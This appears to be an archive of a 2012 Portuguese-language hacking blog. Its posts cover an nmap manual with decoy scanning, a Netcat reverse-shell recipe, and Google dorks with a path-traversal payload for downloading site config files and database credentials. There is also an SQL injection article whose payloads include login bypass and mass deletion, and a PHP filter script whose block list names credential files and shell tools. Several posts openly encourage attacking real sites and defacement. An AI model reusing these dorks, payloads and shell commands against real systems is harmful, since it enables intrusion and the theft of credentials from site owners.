    sudo chmod 770 /dev/vboxdrv
    Pronto! Agora você já pode voltar a brincar com as suas máquinas virtuais. ;) 

    Fonte:http://phpimenta.wordpress.com/2010/06/20/corrigindo-erro-kernel-driver-not-installed-rc-1908-do-virtualbox-3-2-4-no-ubuntu-10-04/


    Se nada disso der certo.
    Tente esses

    1 -

    sudo dkms install virtualbox/4.1.2
    
    
    2-Tentar instalar leitor de cabeçalhos linux:
    sudo apt-get install linux-headers-$(uname -r)

    sexta-feira, 14 de dezembro de 2012

    A DIFERENÇA ENTRE "http://"; e “https://”


    A DIFERENÇA ENTRE "http://"; e “https://”


    A DIFERENÇA ENTRE "http://"; e “https://”
    Pois é, a diferença existe e é simplesmente a sua segurança!

    O "s" = secure = segurança.
    A sigla http quer dizer "Hyper Text Transport Protocol", que é a linguagem para troca de informação entre servidores e clientes da rede.

    O que é importante, e o que marca a diferença, é a letra "s" que é a abreviatura de "Secure"! O “s” indica que os dados inseridos serão criptografados e não poderão ser interceptados.

    Ao visitar uma página na web, observe se começa por: http://./ Isto significa que essa página se comunica numa linguagem normal, mas sem segurança!

    ATENÇÃO = Não se deve dar o número do cartão de crédito através de uma página/site começada APENAS por http:// . Se começar por https:// , significa que o computador está conectado a uma página que se corresponde numa linguagem codificada e segura.

    terça-feira, 11 de setembro de 2012

    Manual básico do NMAP

    Manual básico do NMAP


    =======================================================================================
    Manual básico do NMAP
    =======================================================================================

    1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
    EBR Web Hacking - Sux w-rm - Darkside Group.
    Brazilian underground groups :]
    1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0

    Author: Samuz1n Colz1n
    Contact: samuzin[at]hotmail.com.br
    Thank`s: shadow vds e kernel
    Greetz: ebr web hacking

    -=[Descrição]=-

    O Nmap fornece, de uma maneira geral, a relação de computadores e serviços
    ativos. Este paper irá explicar como instalar e utilizar algumas funções do Nmap.

    -=[Alguns métodos de Varredura]=-

    -sP : (Ping Scan) Para saber se um determinado host ou rede está no ar. O nmap pode enviar pacotes ICMP (echo request) para verificar se determinado host ou rede está ativa. Hoje em dia, existem muitos filtros que rejeitam os pacotes ICMP, então ele retorna com um pacote de flag contendo TCP ACK para a porta 80(padrão) e caso receba um RST o alvo está ativo. A terceira técnica envia um pacote SYN ( Pedido de conexão) e espera um RST(resposta) ou um SYN-ACK.

    Comentário : Podemos também usar o nmap para um ataque de negaça, usar o nmap para um "SYN FLOOD".

    -sR : RCP Scan ! Ele considera todas as portas TCP e UDP abertas e envia comando NULL, para determinar se realmente são portas RPC. É como se o comando "rpcinfo -p" estivesse sendo utilizado, mesmo através de um firewall.

    -sS : TCP SYN scan: Técnica também conhecida por "half-open" (no inglês, half é como se fosse meio ou meia.) pois não abre uma conexão TCP completa. É enviado um pacote SYN, como se ele fosse uma conexão real e aguarda uma resposta. Caso o pacote SYN-ACK seja recebido, a porta está aberta, enquanto um como resposta indica que a porta está fechada. A vantagem dessa abortagem é que poucos irão detectar esse scanning.

    -sT : TCP connect scan: Técnica básica. É utilizada a chamada de sistema "connect" que envia um sinal de portas ativas. É um dos scans mais rápidos, porém fácil de ser detectado.

    -sU :UDP scan: Scan para portas UDP, para saber qual está aberta. A técnica consiste em enviar um pacote UDP de 0 byte para cada porta do host. Se for recebido uma mensagem ICMP "port unreachable" então a porta está fechada, senão a porta PODE estar aberta.

    -sV: Version detection, muito utilizada. Após as portas TCP e/ou UDP serem descobertas por algum dos métodos, o nmap irá determinar qual o serviço está rodando atualmente. O arquivo nmap-service-probes é utilizado para determinar tipos de protocolos, nome da aplicação, número da versão, etc.

    -sF, -sX, -sN
    Stealth FIN, Xmas Tree ou Null: Também técnica utilizada para flood. Alguns firewalls e filtros de pacotes detectam pacotes SYN's em portas restritas, então é necessário utilizar métodos avançados para atravessar esse firewall.

    FIN : Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto portas abertas ignoram esses pacotes.
    Xmas Tree : Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto portas abertas ignoram esse pacote FIN. O pacote contendo as flags FIN, URG e PUSH são utilizados no pacotes FIN que é enviado ao alvo.

    Null : Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto portas abertas IGNORAM esses pacotes. Nenhuma flag é ligada no pacote FIN.


    -=[Opções Gerais]=-

    ******************************************
    OBS : Em alguns casos ignorar o "<>"
    ******************************************
    -D :
    Durante uma varredura, utiliza uma séria de endereços falsificados, simulando que o scanning tenha originado desses vários hosts, sendo praticamente impossível indentificar a verdadeira origem da varreduta.

    Ex.: nmap -D IP1,IP2,IP3,IP4,IP6,127.1.1.1

    -F : Procura pelas portas que estão no /etc/services. Método mais rápido, porém não procurar todas as portas.

    Ex.: nmap -F

    -I : Se o host estiver utilizando o ident, é possível identificar o dono dos serviços que estão sendo executados no servidor(trablha com a opção -sT )

    Ex.: nmap --sT -i

    -O: Ativa a identificação do host remoto via TCP/IP. Irá apresentar versão do Sistema Operacional e tempo ativo.

    Ex.: nmap -O

    -P : : Específica quas portas devem ser verificados na varredura>

    Ex.: nmap -p 22,80,3306,21,8080,134


    -T
    Esse parâmetro seta a prioridade de varredura do Nmap:


    -=[Alguns exemplos]=-

    Ex.: nmap -v alvo
    Esta opção faz a varredura de todas as portas TCP reservadas.

    Ex.: nmap -sS -O alvo/24
    Lança uma varredura TCP Syn contra cada máquina que está ativa, abrangendo todas as 255 máquinas de classe “C” onde alvo faz parte. Além disso determina o sistema operacional de cada host.

    Ex.: nmap -sX -p 22,53,110,143 alvo
    Envia uma varredura Xmas Tree para o alvo, além de varrer somente os serviços
    de sshd, Dns, pop3d e imapd.

    --=| FIM! |=--

    segunda-feira, 3 de setembro de 2012

    Entendendo Shell,root, exploit

    Entendendo Shell,root, exploit 

     Olá a todos,sou o Adrian Lamo, estou me juntando ao Time do Google INURL e espero ajudar vocês!!! Como minha primeira matéria aqui trago uma básicão pra galera nova que está começando.



    *****************
    O que é Shell?
    *****************

    Shell não é aquele posto que tem em frente a sua casa, ou que você vai beber no Findi semana não. Uma Shell é um interpretador de comandos (interpreta os comandos inseridos pelo teclado), ou seja é o componente que faz a ligação entre o kernel e o usuário. Toda vez que o usuário digita um comando e pressiona |Enter|, a Shell interpreta os
    comandos e manda para o Kernel.

    Exemplo de Shell: C99

    Tipos de Shell: Podem ser .txt ,.php, .gif...

    ************
    Oque é Kernel
    ************

    O Kernel é o centro do sistema operacional, sendo o componente que se comunica
    diretamente com o hardware, sendo assim, precisa ser reescrito e compilado de acordo com a modificação da plataforma em questão . O Kernel compila e gerencia a requisiçãoseja usando memória, processador ou algum periférico.

    **********************
    Oque são Shell script?
    ********************** 

    Shell scripts são conjuntos de comandos armazenados em um arquivo texto que são
    executados seqüencialmente.

    ******************
    [b]O que é um Exploit?
    ******************

    Enquanto vocês leem isso,alguém deve estar pensando."Obaa vamos explodir quem???" Na verdade o Exploit é um programa que explora um bug em um software ou sistema
    operacional específico. Na maioria das vezes,o exploit precisa estar rodando no mesmo ambiente para o qual ele foi projetado, depois que a compilação foi feita é só você o
    rodar e obter o root.

    ******************
    O que é root???
    ******************

    root ,certamente não é o nome de sua vizinha gostosa,na verdade ele é o usuário que tem poder total sobre o sistema, ou seja,como o administrador no Windows ele pode
    criar contas, excluir usuários, criar diretórios, etc.E com isso podemos fazer nosso
    querio Deface...

    **************
    O que é Deface??
    **************

    Deixe seu site que eu lhe mostro haha..
    Brincadeira, deface é o ato de desconfigurar, ou mesmo editar uma página.Para mais informações poderá
    acessar a nossa parte de Deface aqui do Fórum, ou o meu Blog.

    Link da Área Deface:

    ================
    Esclarecimentos Finais
    ================

    Espero que tenham gostado ai dessa dica,se gostaram clica no '+'
    do tópico e add a minha reputação.Esse é um tuto básico,mas é pra isso que estamos aqui ensinar a galera que um dia vai nos substituir.. Abraços

    Dúvidas, chorumelas, e outras coisitas podem pedir...

    domingo, 2 de setembro de 2012

    Defenda-se do SQL injection Script

    Defenda-se do SQL injection Script

    Hoje com a grande necessita que o mercado tem de ficar online, até o tio da quitanda da esquina tem um website.
    Mais com grande numero de profissionais e de trabalhos que existe vem a questão de segurança seu site é seguro?

    As vezes me deparo com situações no de fato ridículas referente valorização do Professional.
    Digamos Tem dois profissionais que trabalham com Webdesign:

    1º Profissional -  Te garante Segurança no script,SEO,Administração do site.
           Entrega com prazo de 10 a 15 dias depois que o conteudo entregue.
           Valor: 1,500.
    2º Profissional -  SEO,Administração do site.
            Entrega com prazo de 5 a 8 dias depois que o conteudo entregue.
           Valor: 800,50.

    Logica: "Logo o cliente pensa pra que eu quero segurança no meu site, não preciso disso tudo sem falar que o preço do n2 ta melhor."

    Informando "NÃO SEJA ESSE CARA"!
    Da mesma forma que temos informações de como fazer uma receita de bolo na internet, podemos ter informações de como invadir seu site em questões de clicks.

    Um vídeo abaixa demonstra bem o que é um simples invasão.
    O video se trata de Blind SQL injection no final do post tem o link de um tutorial como se defender dele.

    Tutorial Blind SQL Injection - 2012




    Script Ant - SQL_Injection


    Recomento ler essa matéria também  tutorial.
    Fonte do vídeo:http://www.lucaspeperaio.com.br/blog/blind-sql-injection

    Usando Netcat obter um shell remoto por r3boot3rAX

    Usando Netcat obter um shell remoto | por r3boot3rAX


    + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - +
    | Usando Netcat obter um shell remoto | por r3boot3rAX 
    + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - +

    Hoje vamos falar sobre uma ferramenta popular, chamado "Netcat",
    Muitas vezes referido como o "canivete suíço das redes",
    Netcat é uma ferramenta que os administradores podem usar para ler e escrever dados
    TCP ou UDP através da rede. Além disso, é extremamente útil para a depuração de rede e de ensaio.

    Netcat oferece vários usos interessantes. Por exemplo, você pode fazê-lo
    Ouvir uma determinada porta e executar um programa. Para isso, use o seguinte:

    $ netcat -v -l -p 10111 -e "/bin/cat /etc/motd"

    Isto diz netcat para escutar na porta 10111. Quando há uma conexão, ele diz netcat para executar
    "/bin/cat /etc/motd,"que basicamente exibe o conteúdo do arquivo /etc/motd e sai.

    Você também pode configurar o netcat em uma máquina para escutar as conexões de entrada e executá-lo
    Em uma máquina remota para se conectar à máquina local e servir-se de um shell bash. Por exemplo,
    Em uma máquina local com um endereço IP de 192.168.5.10, você usaria o seguinte:

    $ netcat -v -l -p 10111

    Na máquina remota, você usaria:

    $ netcat 192.168.5.10 10111 -e /bin/bash

    Isto diz a instância netcat na máquina remota para conectar-se à instância netcat escutando na 192.168.5.10
    E servir-se de um shell bash da máquina remota, que estará disponível na máquina local.
    Usando o exemplo netcat em 192.168.5.10, você pode executar comandos shell no host remoto.

    Texto traduzido.
    Fonte:https://www.facebook.com/legions.united

    quarta-feira, 29 de agosto de 2012

    Explorando vulnerabilidade Fopen



    Vamos falar de falhas.

    Deis uma volta no Google "Uma busca avançada", percebi que 40% de alguns sites estão vulneráveis ao Attack FOPEN é algo simples e de certa forma avassalador se feito por alguém Mal-intencionado.

    Referencia:

    http://php.net/manual/pt_BR/function.fopen.php

    Dork:

    site:br inurl:download.php?file=
    site:br inurl:baixar.php?arquivo=
    inurl:dow.php?file= 

    Só exemplos de dorks use sua criatividade.


    Com Certeza alguns de vocês já fizeram algum download isso é #fato!.
    Hoje vamos dar uma olhada no como o código PHP se comporta no dow.

    Site ex: wwww.sitevull.com.br/baixar.php?arquivo=tutorial.pdf

    O que acontece é que os GET's passados na URL estão sem validação, Assim com um simples trocar de parâmetro é possível baixar arquivos do site alvo.

    ex: wwww.sitevull.com.br/baixar.php?arquivo=index.php
    ex: wwww.sitevull.com.br/baixar.php?arquivo=index.html

    Assim vai mais digamos, que no mesmo site você tem o seguinte cenário.

    wwww.sitevull.com.br/admin

    Vamos baixar o index da pasta Admin.

    ex: wwww.sitevull.com.br/baixar.php?arquivo=../admin/index.php

    Dentro da index Admin #fato que tem uma include ou require pra validar as informações passadas no form.

    vamos dizer que encontramos no nosso alvo fictício um include para o arquivo de conexão com banco.


    include("/secret/config.php");
    ?>

    Vamos na url vulnerável e baixar o arquivo config.php

    ex: wwww.sitevull.com.br/baixar.php?arquivo=../secret/config.php

    Conteúdo do tipo.

            $user_site = "web_teste";
    $user_site = "testepp";
    $senha_site = "testeppg";
    $host = "sitevull.com.br ";//IP TESTE
    $conexao = mssql_connect($host,$user_site,$senha_site) or die("Erro");
    $banco = "gppepe";


    Pronto conseguimos acesso ao banco do site sem usar um script ou programa.

    Forma errada sem validação:



    Forma menos errada sem validação:



    segunda-feira, 16 de julho de 2012

    O que é SQL Injection artigo muito bom

    O que é SQL Injection artigo muito bom



    O que é SQL Injection

    Sql Injection é conhecido pelo método utilizado para inserir, apagar, editar, entre várias outras funções SQL em ataques a banco de dados através de formulários do tipo texto e password, onde o atacante poderá inserir um usuário em sua tabela do banco de dados, dando-o permissão para acessar todo o sistema ou por exemplo, apagar todos os dados contidos nela .

    Exemplos de Ataque

    No exemplo abaixo, demonstraremos em ASP as possíveis falhas que podem ocorrer nos websites. Utilizaremos abaixo um exemplo, iremos construir uma tabela de usuário com as seguintes colunas :
    - Login - varchar (255) 
    - Senha - varchar (255) 
    
    Após criada, executaremos a query :
    SELECT * FROM usuarios WHERE login = '[login]' AND senha = '[senha]'; 
    
    Nos scripts ASP, iremos concatenar esta query em uma variável para construir uma consulta dos dados do usuário usando a seguinte linha: 
    var query = "SELECT * FROM usuarios WHERE login = '" + login +"' AND senha = '" + senha + "'" ;
    

    Se o login for uma aspa simples (') a consulta que irá acontecer se torna:
    SELECT * FROM usuarios WHERE login = ' ' ' AND password = '[password]' ;
    
    Isto é uma sintaxe inválida de SQL e irá produzir uma mensagem de erro no browser do usuário:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
    [Microsoft][ODBC SQL Server Driver][SQL Server]
    Unclosed quotation mark before the character string and senha=.

    A aspa simples fornecida pelo usuário fechou a primeira aspa simples e a segunda aspa simples gerou o erro pois não estava fechada. O atacante pode agora começar a injetar uma string na query para manipular o seu comportamento, por exemplo para efetuar o logon como o primeiro usuário na tabela de usuários você poderia colocar no campo de login:
    ' or 1=1 --
    Isto converte a busca para:
    SELECT * FROM usuarios WHERE login = ' ' or 1=1- - ' AND senha = '[senha]';
    
    Os dois hífens significam um comentário em Transact-SQL, então todo o restante da linha é ignorado. Como 1 é sempre igual a 1, esta query irá retornar a tabela de usuários inteira. O script ASP irá aceitar o logon pois resultados foram retornados e o cliente será autenticado como o primeiro usuário da tabela.
    Se conhecer um usuário, pode logar com o seu nome:
    ' or login='admin' --

    O SQL Injection não ocorre apenas se o usuário não escapear as aspas simples, outra ocorrência é:
    sql = "delete from tb_videos where vd_id = " & request("id") 
    

    Neste caso se o usuário inserir como entrada "0 or 1=1" a query acima irá apagar todos os vídeos do banco de dados.


    Visto até aqui pode-se ter uma idéia do quão exposto está uma aplicação que não implementa segurança contra esta técnica de invasão.


    Formas de Correção

    Estas informações abaixo são apenas exemplos de formas para correção de possíveis ataques ao Banco de Dados, porém, existem outros métodos também válidos, mas que por fugirem do escopo do artigo, não serão abordados aqui.

    Em ASP uma forma simples para correção deste problema é utilizar uma instrução replace nos caracteres chave, como no exemplo abaixo:
    strSenha = Replace(strSenha, "'", "");
    

    Basicamente ele substitui o (') por nada, isto é uma forma de corrigir o problema.


    Em PHP existem algumas formas de resolver o problema, uma é usar a função: mysql_real_escape_string(); e outra é usar a função: stripslashes();.

    Exemplificando a solução com o stripslashes, temos:

    Para toda variável inteira fornecida pelo usuário, passe a seguinte função: $var = intval($var);
    Isto elimina todos valores não numéricos, deixando apenas valores inteiros

    Para as demais variáveis, antes de fazer qualquer operação no banco, passe a seguinte função:
    $var = addslashes($var);
    

    Esta função retorna uma string com barras invertidas antes de caracteres que precisam ser escapeados. Estes caracteres são aspas simples ('), aspas duplas ("), barra invertida (\) e NULL (o byte NULL).

    A função stripslashes() retorna uma string com as barras invertidas retiradas. (' se torna ' e assim por diante.) Duas barras invertidas (\\) se tornam uma (\).

    Por fim, inclua o arquivo ctracker.php no cabeçalho de todas as páginas que recebem variáveis como parâmetro. Exemplo:
    <?php
          require_once("ctracker.php");
          // Aqui em baixo fica o conteúdo
    ?>
    
    

    Obs: Lembre-se de alterar a 5ª linha do código, nela é setada qual a página será exibida quando o sistema identificar uma tentativa de invasão.

    Em Perl, a solução da SQL Injection é apenas baseada nas aspas. Na maioria dos casos a substituição de uma aspas simples por aspas duplas resolve o problema. A instução em Perl para isto é:
    $sql = sprintf 'SELECT name FROM usuarios WHERE nome%s AND senha=%s,
       $dbh->quote($Q::nome),$dbh->quote($Q::senha);
    

    Todas as soluções aqui apresentadas são baseadas no mesmo processo de escapeamento de caracteres especiais, no caso Aspas.


    Arqui filtro ant - sql




    <?php
    //****************** CONFIG ****************//
    // pagina que será impessa quando a tentativa de invasao for detectada
    $page = "http://[sua_pagina_de_invasao]";
    //****************** CONFIG ****************//


    // Cracker Tracker Protection System
    // Created by: Christian Knerr - www.cback.de
    // phpBB Users: Please use our complete phpBB2 Mod!
    // Version: 2.0.0
    //
    // License: GPL
    //
    // Begin CrackerTracker  StandAlone
    //
      $cracktrack = $_SERVER['QUERY_STRING'];
      $wormprotector = array('chr(', 'chr=', 'chr%20', '%20chr', 'wget%20', '%20wget', 'wget(',
            'cmd=', '%20cmd', 'cmd%20', 'rush=', '%20rush', 'rush%20',
                       'union%20', '%20union', 'union(', 'union=', 'echr(', '%20echr', 'echr%20',
                       'echr=','esystem(', 'esystem%20', 'cp%20', '%20cp', 'cp(', 'mdir%20', 
                       '%20mdir', 'mdir(','mcd%20', 'mrd%20', 'rm%20', '%20mcd', '%20mrd', '%20rm',
                       'mcd(', 'mrd(', 'rm(', 'mcd=', 'mrd=', 'mv%20', 'rmdir%20', 'mv(', 'rmdir(',
                       'chmod(', 'chmod%20', '%20chmod', 'chmod(', 'chmod=', 'chown%20', 'chgrp%20', 
                       'chown(', 'chgrp(','locate%20', 'grep%20', 'locate(', 'grep(', 'diff%20',
                       'kill%20', 'kill(', 'killall','passwd%20', '%20passwd', 'passwd(', 
                       'telnet%20', 'vi(', 'vi%20','insert%20into', 'select%20', 'nigga(', 
                       '%20nigga', 'nigga%20', 'fopen', 'fwrite', '%20like', 'like%20',' $_request',
                       '$_get', '$request', '$get', '.system', 'HTTP_PHP', '&aim', '%20getenv', 
                       'getenv%20','new_password', '&icq','/etc/password','/etc/shadow', 
                       '/etc/groups', '/etc/gshadow','HTTP_USER_AGENT', 'HTTP_HOST', '/bin/ps', 
                       'wget%20', 'unamex20-a', '/usr/bin/id','/bin/echo', '/bin/kill', '/bin/',
                       '/chgrp', '/chown', '/usr/bin', 'g++', 'bin/python','bin/tclsh', 'bin/nasm',
                       'perl%20', 'traceroute%20', 'ping%20', '.pl', '/usr/X11R6/bin/xterm',
                       'lsof%20','/bin/mail', '.conf', 'motd%20', 'HTTP/1.', '.inc.php', 
                       'config.php', 'cgi-','.eml','file://', 'window.open', '<SCRIPT>',  
                       'javascript://','img src', 'img%20src','.jsp','ftp.exe','xp_enumdsn',
                       'xp_availablemedia', 'xp_filelist', 'xp_cmdshell', 'nc.exe',
                       '.htpasswd','servlet', '/etc/passwd', 'wwwacl', '~root', '~ftp', '.js',
                       '.jsp', 'admin_', '.history','bash_history', '.bash_history', '~nobody',
                       'server-info', 'server-status', 'reboot%20', 'halt%20','powerdown%20',
                       '/home/ftp', '/home/www', 'secure_site, ok', 'chunked', 'org.apache',
                       '/servlet/con','<script', '/robot.txt' ,'/perl' ,'mod_gzip_status',
                       'db_mysql.inc', '.inc', 'select%20from','select from', 'drop%20', 
                       '.system', 'getenv', 'http_', '_php', 'php_', 'phpinfo()', 
                       '<?php', '?>', 'sql=');


      $checkworm = str_replace($wormprotector, '*', $cracktrack);


      if ($cracktrack != $checkworm)
        {
          $cremotead = $_SERVER['REMOTE_ADDR'];
          $cuseragent = $_SERVER['HTTP_USER_AGENT'];


          header("location:$page");
          die();
        }
    ?>